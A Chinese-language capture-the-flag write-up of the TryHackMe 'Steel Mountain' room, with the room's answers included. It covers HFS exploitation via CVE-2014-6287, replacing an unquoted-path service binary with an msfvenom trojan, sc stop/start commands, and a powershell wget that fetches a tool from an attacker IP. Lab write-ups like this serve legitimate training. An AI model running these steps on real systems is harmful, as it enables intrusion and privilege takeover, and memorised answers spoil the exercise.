Steel Mountain
TryHackMe的Steel Mountain房间的个人做题wp
寻找 HFS 版本漏洞,然后使用 metasploit 进行获取立足点,然后使用 powershell 枚举服务,然后获得管理员权限
介绍
在这个房间里,您将列举一台 Windows 计算机,使用 Metasploit 获得初始访问权限,使用 Powershell 进一步列举该计算机,并将您的权限升级到管理员。
先简单 nmap 扫描一下端口,发现 80 端口,然后浏览器访问
发现这里提示本月的最佳员工,可以下载图片之后放入谷歌浏览器中图片搜索,就能够发现员工的名字
Who is the employee of the month?Bill Harper
初始访问
上面的 nmap 扫描发现还有一个 8080 端口,就是运行的 web 服务器
Scan the machine with nmap. What is the other port running a web server on?8080
打开发现 8080 端口是一个文件服务器,左下角有服务器的版本
Take a look at the other web server. What file server is running?Rejetto HTTP File Server
然后在 Exploit DB 中进行搜索,发现漏洞
What is the CVE number to exploit this file server?2014-6287
在 msfconcole 中搜索漏洞 2014-6287 漏洞,使用这个漏洞,填写各个选项之后直接运行就可以获得基本的 shell
权限提升
下载这个脚本到 windows 中,使用 . .\PowerUp.ps1
加载 powershell 脚本,然后使用 Invoke-AllChecks
,查看服务信息
如果 CanRestart 选项为 true,则允许我们重新启动系统上的服务,应用程序的目录也是可写的。这意味着我们可以用我们的恶意应用程序替换合法应用程序,重新启动服务,这将运行我们受感染的程序!
所以使用 msfvenom 生成木马程序
先使用 sc stop AdvancedSystemCareService9
停止服务,然后替换服务的程序
这里有多个替换手法,因为路径没有使用引号,所以会按照空格进行寻找 exe 文件运行
- copy Advanced.exe “\Program Files (x86)\IObit\Advanced.exe”
- copy Advanced.exe “\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe”
然后使用 sc start AdvancedSystemCareService9
重启,同时启动一个监听端口就可以获得管理员的 shell 然后获取 flag
不使用 Metasploit 的访问和升级
下载对应的利用的 python 文件(可以使用searchsploit -m 对应的python文件路径
),以及 ncat.exe 文件
需要运行两次漏洞利用。第一次将我们的 netcat 二进制文件拉取到系统中,第二次将执行我们的 payload 以获得回调
cd C:\Users\Bill\Desktop
powershell -c wget "http://10.10.118.24/winPEAS.exe" -outfile "winPEAS.exe"
找到存在问题的服务之后,操作与权限提升中基本一致,都是生成木马然后替换服务文件,重启服务获得高权限的 shell
What powershell -c command could we run to manually find out the service name?*Format is "powershell -c "command here"*
powershell -c "Get-Service"